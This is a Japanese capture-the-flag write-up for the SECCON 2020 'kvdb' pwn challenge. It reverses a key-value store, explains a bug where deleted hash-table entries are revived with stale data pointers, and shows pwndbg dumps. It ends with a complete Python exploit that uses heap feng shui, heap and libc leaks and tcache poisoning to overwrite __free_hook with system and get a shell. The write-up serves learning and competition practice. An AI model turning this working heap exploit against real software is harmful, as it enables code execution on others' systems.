# kvdb - SECCON Online 2020
###### tags: `SECCON`
## 概要
libc-2.32セットとバイナリが貰える。ヒープ問っぽい見た目をしている。
```
$ ./kvdb
Simple Key-Value Database
MENU
================
1. Put
2. Get
3. Delete
0. Exit
================
>
```
全部有効。
```
$ checksec -f kvdb
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 105 Symbols Yes 0 12 kvdb
```
## Reversing
新しいgccでコンパイルされたやつIDAで読むと関数名正しく認識してくれなくて実質strippedみたいな感じでいっつも読んでる。なんとかならんのか。
### put
サイズは0x400バイトまで。
`db_reg(key, value, size)`で登録する。
### get
`value = db_get(key, &size)`でデータを取得する。
### delete
`db_del(key)`でデータを削除する。
### db_reg
まずkeyが存在するかを調べる。存在しない場合、次のように作る。
```cpp
if(!(e = ent_lookup(key))){
if(!(e = (struct entry*)calloc(1, sizeof(struct entry))))
panic("allocate entry");
e->hash = new_hash(key);
e->key = alloc(&mp, strlen(key)+1);
strcpy(e->key, key);
htb_link(e);
}
```
サイズが足りない場合は次のようにアロケートされる。
```cpp
if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse){
e->size = 0;
e->data = alloc(&mp, size);
}
e->size = size;
memcpy(e->data, data, size);
```
### db_get
キーが存在する場合はそのデータのポインタとサイズを返す。
ここでポインタは`mp.base`と`mp.base+mp.inuse`の間にある必要が有るので注意。
### db_del
キーが存在する場合`e->valid`を0にする。
### alloc, gc
`alloc`はinuse + 要求sizeがcapacityを超えた場合にgcを走らせる。
`gc`は次のような手順を実行する。
1. `estimate_inuse`でvalidなチャンクのサイズ(keylen+datalen+1)の総和を求める
2. estimateされたinuse+要求されたサイズを満たすような2^nのサイズ(0x80以上)を`init_mpool`で確保する。
3. `migrate`で確保した方に既存のデータをすべて移す。
4. 古いやつを削除
### htb
気になるのはGCとDBの間でポインタの整合性が取れているかという点。
entryはリンクになっている。
```cpp
struct entry {
char valid;
uint32_t hash;
uint32_t size;
char *key;
char *data;
struct entry *next;
};
```
これが0x100個存在し、keyのハッシュの下位1バイトのhtbの先頭に繋がれる。
```cpp
static void htb_link(struct entry *e){
uint32_t idx;
idx = e->hash & 0xff;
e->next = htb[idx];
htb[idx] = e;
}
```
一方deleteにはこれを破棄するような処理はない。
さらにlookupでは先頭から単にhashとkeyが一致するものを見ている。
```cpp
static struct entry *ent_lookup(const char *key){
struct entry *e;
uint32_t hash;
hash = new_hash(key);
for(e = htb[hash & 0xff]; e; e = e->next)
if(e->hash == hash && !strcmp(e->key, key))
return e;
return NULL;
}
```
migrateは非常にシンプルで、これらのコピーをする。
```cpp
static void migrate(struct mpool *p){
for(int i=0; i<0x100; i++)
for(struct entry *e = htb[i]; e; e = e->next){
char *key, *data;
key = alloc(p, strlen(e->key)+1);
strcpy(key, e->key);
e->key = key;
if(e->valid && e->size > 0){
data = alloc(p, e->size);
memcpy(data, e->data, e->size);
e->data = data;
}
}
}
```
ここでvalidが0のエントリに関して、データはコピーされないため、htbには削除されたデータも残ったままとなる。これはfreeもされなければリンクから外されることもない。
## 脆弱性
そんな複雑な操作でもないのにわざわざ削除したエントリを残すのは怪しい。そこで気になるのは、validを見ていないやつが居ないかという点。
```cpp
if(!(e = ent_lookup(key))){
if(!(e = (struct entry*)calloc(1, sizeof(struct entry))))
panic("allocate entry");
e->hash = new_hash(key);
e->key = alloc(&mp, strlen(key)+1);
strcpy(e->key, key);
htb_link(e);
}
e->valid = 1;
```
いますいます。おまけにvalidを1にしてくれて嬉しい...!
keyに関しては更新されているので正しいが、dataに関しては更新されていない。そこで次のようなチェックがある。
```cpp
if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse){
e->size = 0;
e->data = alloc(&mp, size);
}
```
これのおかげで多くの場合は正しい挙動をする。dataが指している古いポインタは`base`から`base+inuse`の範囲外にあることがほとんどだからだ。
しかし、なんか上手いことヒープをごにょごにょすればallocさせずみ済みそうな気がする。それでシェルが取れるかは知らん。
## 解法
### 削除済みエントリの復活
イメージとしてはこんな感じで削除済みエントリのデータ領域を書き換えられると思う。
```
[ initial mp: 0x80 ] [hoge]
--> expand
[ freed : 0x80 ] [hoge] [ second mp: 0x800 ]
--> expand vvv この辺にゴミentry
[ freed : 0x80 ] [hoge] [ freed : 0x800 ] [ third mp: 0x2000 ]
--> expand
[ freed : 0x80 ] [hoge] [ freed consolidated : 0x2800 ] [ fourth mp: 0x4000]
--> shrink
[ freed : 0x80 ] [hoge] [ fifth mp :0x2000 ] [ freed :0x4800 ]
```
通常エントリが確保されてconsolidateができないが、既存キーを使えばエントリが確保されずに済む。
というか別にconsolidateする必要はないか。まぁ適当にやってればいい感じになるやろ。
ということで適当してたらいい感じになった。
```python
# prepare room
put("A", 14, "AAAA")
put("B", 14, "BBBB")
put("C", 14, "CCCC")
put("D", 14, "DDDD")
put("E", 14, "EEEE") # don't consolidate ^o^
delete("A")
delete("B")
delete("C")
delete("D")
# create victim
put("A", 0x100, "A" * 0x100)
delete("A")
# expand heap
put("B", 0x3e0, "B" * 0x3e0)
delete("B")
# shrink heap
put("C", 0x40, "C" * 0x40)
```
これでAのエントリは次のようになる。
```
pwndbg> x/32xg 0x555555559250
0x555555559250: 0x0000000000000000 0x0000000000000031
0x555555559260: 0x0002b5e600000000 0x0000000000000100
0x555555559270: 0x00005555555593e0 0x00005555555593f8
0x555555559280: 0x0000000000000000 0x0000000000000091
```
ところがAの指す先は正しいヒープのポインタなのであった・・・
```
pwndbg> x/32xg 0x555555559250 + 0x30 + 0x90 + 0x30 * 4
0x5555555593d0: 0x0000000000000000 0x0000000000000211
0x5555555593e0: 0x0044004300420041 0x0000454545450045
0x5555555593f0: 0x0000000000000000 0x4343434343434343
0x555555559400: 0x4343434343434343 0x4343434343434343
0x555555559410: 0x4343434343434343 0x4343434343434343
0x555555559420: 0x4343434343434343 0x4343434343434343
0x555555559430: 0x4343434343434343 0x4141414141414141
0x555555559440: 0x4141414141414141 0x4141414141414141
0x555555559450: 0x4141414141414141 0x4141414141414141
0x555555559460: 0x4141414141414141 0x4141414141414141
```
実際この後Aを小さいサイズで使うと
```
pwndbg> x/32xg 0x555555559250 + 0x30 + 0x90 + 0x30 * 4
0x5555555593d0: 0x0000000000000000 0x0000000000000211
0x5555555593e0: 0x0044004300420041 0x0000454545450045
0x5555555593f0: 0x0000000000000000 0x0000000065676f68
0x555555559400: 0x4343000000000000 0x4343434343434343
0x555555559410: 0x4343434343434343 0x4343434343434343
0x555555559420: 0x4343434343434343 0x4343434343434343
0x555555559430: 0x4343434343434343 0x4141414141414141
```
とAが復活して完全オーバーラップ太郎になる。AとかCとか書いてるやつは真のヒープじゃないのでオーバーラップしても嬉しくないが、これを応用すればいいことがあるんじゃないかな。
### もうちょい頑張る
↑のやつはあまりうれしくないので、もう少し嬉しいヒープレイアウトを得る。
ここで、
```cpp
(void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse
```
のチェックは`e->size`を考慮していないので、次のような状態を作れば真のヒープの範囲外読み書きができる。
```
A.data Aの終端
| |
v v
[ mp heap ][ freed chunk ]
```
こういう状況を作るにはmp heapがunsorted binから切り出される必要があり、風水ゲーと化す。
しかし、ひとたびこれを作ればあとは簡単である。
なぜなら、freed chunkにentryを持ってくることで、以後A.dataの操作のみでヒープのアドレスリーク、AAR, AAWが作れるからである。
```python
# ponta
put("A", 14, "AAAA")
put("B", 14, "BBBB")
put("C", 14, "CCCC")
put("D", 14, "DDDD")
put("E", 14, "EEEE") # don't consolidate ^o^
delete("A")
delete("B")
delete("C")
delete("D")
# skip 0x400
put("A", 0x3e0, "A" * 0x3e0)
delete("A")
# expand heap --> cap = 0x800
put("B", 0x400, "B" * 0x400)
delete("B")
put("A", 0x3e0, "A" * 0x3e0)
delete("A")
# shrink heap --> cap = 0x400 (from tcache)
put("C", 0x40, "C" * 0x40)
delete("C")
# consume first part of 0x800 chunk (actually top)
for i in range(0x400 // 0x30):
put(str(i), 2, "XX")
delete(str(i))
# shrink heapxs --> cap = 0x200 (from top)
put("B", 0x340, "B" * 0x340)
delete("B")
put("D", 0x40, "D" * 0x40)
```
こんな感じですると、ヒープは次のようになる。
```
pwndbg> x/32xg 0x555555559250 + 0x30 + 0x90 + 0x30 * 4 + 0x410 + 0x3f0
0x555555559bd0: 0x0000555555559320 0x0000000000000211
0x555555559be0: 0x3231003131003031 0x3100343100333100
0x555555559bf0: 0x0037310036310035 0x0030003931003831
0x555555559c00: 0x0034003300320031 0x0038003700360035
0x555555559c10: 0x4200303200410039 0x4500450044004300
...
```
サイズが0x200なわけだが、Aのentryは次のようになる。
```
pwndbg> x/32xg 0x555555559250
0x555555559250: 0x0000000000000000 0x0000000000000031
0x555555559260: 0x0002b5e600000000 0x00000000000003e0
0x555555559270: 0x0000555555559c12 0x0000555555559c08
...
```
dataは0x0000555555559c08と、さきほどのヒープの領域を指している一方、サイズは0x3e0とヒープのサイズより大きい。
ということでcap - inuse以下のサイズであればallocateでき、heap overflowが発生する。
これでヒープのアドレスは取得できるが、libcがないので作る。もうこの辺は面倒だけどやるだけなので説明は残さない。
### 最後の難関
```cpp
if((void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse)
panic("Out of memory pool");
```
まずこいつがゴミ。
が、冷静に考えればmigrate時にこのチェックは無いのでデータを外へコピーできる。
ところがこいつがカス。
```cpp
if(e->size < size || (void*)e->data < mp.base || (void*)e->data > mp.base + mp.inuse){
e->size = 0;
e->data = alloc(&mp, size);
}
```
せっかくdataポインタを書き換えられても、こいつのせいでAAWにはならない。
サイズは相変わらず書き換えられるので、クソデカサイズにすれば巨大ヒープオーバーフローは得られる。
いろいろ考えたけど単純にAAWは作れ無さそうなのでtcache poisoningする。0x100のチャンクはまだ作ってないので、victim chunkの後ろにあるunsortedbinから切り出される。さらに、shrinkもexpandもせずgcが働けばもう1つ0x100のチャンクができるので、tcacheのcntチェックも抜けられる。
```python
# shrink --> cap = 0x100
put("D", 0x20, "D"*0x20)
delete("D")
put("C", 0xb0, "C"*0xb0)
delete("C")
# renew --> cap = 0x100
put("B", 0x20, "B"*0x20)
delete("B")
put("D", 0xb0, "D"*0xb0)
delete("D")
# expand --> cap = 0x200
put("C", 0x20, "C"*0x20)
delete("C")
put("B", 0x1c0, "B"*0x1c0)
delete("B")
payload = b'v' * 0x48
payload += p64(0x31)
payload += p32(1) + p32(calc_hash(b'v')) + p64(0x114514)
payload += p64(heap_base + delta + 0xa00)
payload += p64(heap_base + delta + 0xbc0)
payload += p64(0)
payload += p64(0x111)
payload += p64(libc_base + libc.symbol("__free_hook"))
put("v", len(payload), payload)
delete("v")
```
こんなことをすると
```
pwndbg> tcachebins
tcachebins
144 [ 1]: 0x555555559290 ◂— 0x0
272 [ 2]: 0x555555559c40 —▸ 0x7ffff7dd18e8 (__free_hook) ◂— 0x0
1040 [ 1]: 0x5555555593b0 ◂— 0x0
```
こんなことになる。
今回は`__free_hook`を書き換えた。free時に引数を渡せるよう、htb[0]に`/bin/sh;XXX`が来るような衝突を見つけた。
## Exploit
はい。
```python=
from ptrlib import *
def put(key, size, data):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", key)
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
def get(key):
p.sendlineafter("> ", "2")
p.sendlineafter(": ", key)
p.recvline()
p.recvline()
b = b''
while True:
r = p.recvline()
if r == b'--------------': break
b += r + b'\n'
return b.rstrip()
def delete(key):
p.sendlineafter("> ", "3")
p.sendlineafter(": ", key)
def calc_hash(s):
h = 5381
for c in s:
if c == 0: break
h = h * 33 + c
return h & 0xffffffff
def find_conflict(base, th):
suffix = b''
while True:
for c in range(1, 0x100):
if calc_hash(base + suffix + bytes([c])) & 0xff == th:
suffix += bytes([c])
break
else:
continue
break
return base + suffix
libc = ELF("./libc.so.6")
p = Process(["./ld.so", "--library-path", ".", "./kvdb"])
delta = 0x40
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#p = Process("./kvdb")
#delta = 0
"""
1) heap feng shui
[X][0x80][Y][ 0x400 ][ 0x800 ]
"""
# ponta
put("A", 14, "AAAA")
put("B", 14, "BBBB")
put("C", 14, "CCCC")
put("D", 1, "D")
delete("A")
delete("B")
delete("C")
delete("D")
# skip 0x400
put("A", 0x3e0, "A" * 0x3e0)
delete("A")
# expand heap --> cap = 0x800
put("B", 0x400, "B" * 0x400)
delete("B")
put("A", 0x3d0, "A" * 0x3d0)
delete("A")
# shrink heap --> cap = 0x400 (from tcache)
put("C", 0x40, "C" * 0x40)
delete("C")
# consume first part of 0x800 chunk (actuall top)
for i in range(0x260 // 0x30):
put(chr(0x20 + i), 1, "X")
delete(chr(0x20 + i))
"""
2) A->valid = 1
"""
# shrink heap --> cap = 0x200 (from top)
put("B", 0x380, "B" * 0x380)
delete("B")
put("D", 0x20, "D" * 0x20)
delete("D")
put("D", 0x189, "D" * 0x189)
# A->valid = 1
payload = b"A" * 0x40 + p64(0x20401)
payload += b"X" * 0x100
put("A", len(payload), payload)
# create victim
put("v", 1, "v")
delete("v")
"""
3) leak heap
"""
heap_base = u64(get("A")[0x60:0x68]) - 0xbcb - delta
logger.info("heap = " + hex(heap_base))
delete("A")
delete("D")
"""
4) create libc link in heap
"""
# expand --> cap = 0x800
put("B", 0x400, "B"*0x400)
delete("B")
put("x", 1, "x") # do not consolidate
put("C", 0x3d0, "C"*0x3d0)
delete("C")
# shrink --> cap = 0x400
put("D", 0x40, "D"*0x40)
delete("D")
put("B", 0x390, "B"*0x390)
delete("B")
# shrink --> cap = 0x200
put("C", 0x20, "C"*0x20)
delete("C")
put("D", 0x190, "D"*0x190)
delete("D")
"""
5) A->valid = 1 & create fake entry
"""
payload = b"A" * 0x40 + p64(0x31)
payload += p32(1) + p32(calc_hash(b"v")) + p64(0x8)
payload += p64(heap_base + delta + 0xa00)
payload += p64(heap_base + delta + 0xc40)
payload += p64(0)
put("A", len(payload), payload)
delete("A")
"""
6) migrate libc address
"""
put("B", 0x200, "B"*0x200)
libc_base = u64(get("v")) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))
delete("B")
delete("v")
"""
7) A->valid = 1 & create fake entry
"""
# shrink --> cap = 0x200
put("D", 0x1d0, "D"*0x1d0)
delete("D")
put("C", 0x20, "C"*0x20)
delete("C")
put("B", 0x1a0, "B"*0x1a0)
delete("B")
# overwrite victim
payload = b"A" * 0x40 + p64(0x31)
payload += p32(0) + p32(calc_hash(b"v")) + p64(0x114514)
payload += p64(heap_base + delta + 0xa00)
payload += p64(heap_base + delta + 0xbc0)
payload += p64(0)
put("A", len(payload), payload)
delete("A")
"""
8) prepare 2 freed chunk of size 0x110
"""
# shrink --> cap = 0x100
put("D", 0x20, "D"*0x20)
delete("D")
put("C", 0xb0, "C"*0xb0)
delete("C")
# renew --> cap = 0x100
put("B", 0x20, "B"*0x20)
delete("B")
put("D", 0xb0, "D"*0xb0)
delete("D")
"""
9) overwrite tcache entry by v
"""
# expand --> cap = 0x200
put("C", 0x20, "C"*0x20)
delete("C")
put("B", 0x1c0, "B"*0x1c0)
delete("B")
payload = b'v' * 0x48
payload += p64(0x31)
payload += p32(1) + p32(calc_hash(b'v')) + p64(0x114514)
payload += p64(heap_base + delta + 0xa00)
payload += p64(heap_base + delta + 0xbc0)
payload += p64(0)
payload += p64(0x111)
payload += p64(
((heap_base + 0xc80) >> 12) ^\
libc_base + libc.symbol("__free_hook") - 0x90
)
put("v", len(payload), payload)
delete("v")
"""
10) overwrite __free_hook
"""
# shrink --> cap = 0x100
put("D", 0x20, "D"*0x20)
delete("D")
put("C", 0xb0, "C"*0xb0)
delete("C")
# renew --> cap = 0x100
put("B", 0x20, b"B"*0x20)
delete("B")
payload = b'\xff' * 9
payload += p64(0) * 4
payload += p32(0)*2 + p64(0)
payload += p64(0) + p64(libc_base + libc.symbol("system"))
put(find_conflict(b"/bin/sh;", 0), len(payload), payload)
# expand --> cap = 0x200
put("B", 0x100, b"B"*0x100)
delete("B")
"""
11) go!
"""
# expand --> cap = 0x400
# now free(mp.base) will be called
# the top of mp.base is "/bin/sh;?"
put("C", 0x200, b"C"*0x200)
p.interactive()
```